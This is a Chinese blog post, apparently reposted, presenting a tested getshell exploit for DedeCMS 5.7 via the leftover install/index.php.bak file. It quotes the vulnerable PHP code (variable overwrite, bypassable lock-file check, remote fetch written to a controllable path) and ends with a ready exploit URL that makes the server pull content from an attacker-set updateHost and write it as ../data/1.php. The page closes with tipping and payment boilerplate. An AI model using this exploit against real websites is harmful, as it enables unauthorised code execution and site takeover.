dedecms5.7/install/index.php.bak getshell方法(亲测成功)

 我是从安全参考上看到这一篇文章,作者:yaseng 。

但是我自己亲自测试了一下,果然存在这个漏洞。

给大家讲下,


Dedecms对于安装程序的处理方法就是重命名install.php+lock文件验证,改install.php 
位install.php.bak但是在apache 对这类型文件会解析成php,即可以执行之,对于lock 
文件验证,不是还有dedecms的全局变量注册机制。

我以前还没注意,在是在Apache下的确有这个漏洞,看index.php.bak第29行

foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
}

就类似于register_globals开启的情况了。就可以全局变量覆盖。

第36行

if(file_exists($insLockfile))
{
    exit(" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!");
}

注意要使insLockfile为不存在的文件即可,

第374行

else if($step==11)
{
	require_once('../data/admin/config_update.php');
	$rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";
	$sql_content = file_get_contents($rmurl);
	$fp = fopen($install_demo_name,'w');
	if(fwrite($fp,$sql_content))
		echo '  <font color="green">[√]</font> 存在(您可以选择安装进行体验)';
	else
		echo '  <font color="red">[×]</font> 远程获取失败';
	unset($sql_content);
	fclose($fp);
	exit();
}

这里的updateHost你可以本地搭建一个服务器,并且新建一个dedecms/demodata.x.txt ,那么相应的s_lang就为x。

看到了有fwrite 而且install_demo_name可控 ,所以最终的exp为

http://www.xxx.com/install/index.php.bak?step=11&install_demo_name=../data/1.php&insLockfile=aaasd&updateHost=http://localhost/&s_lang=x






评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值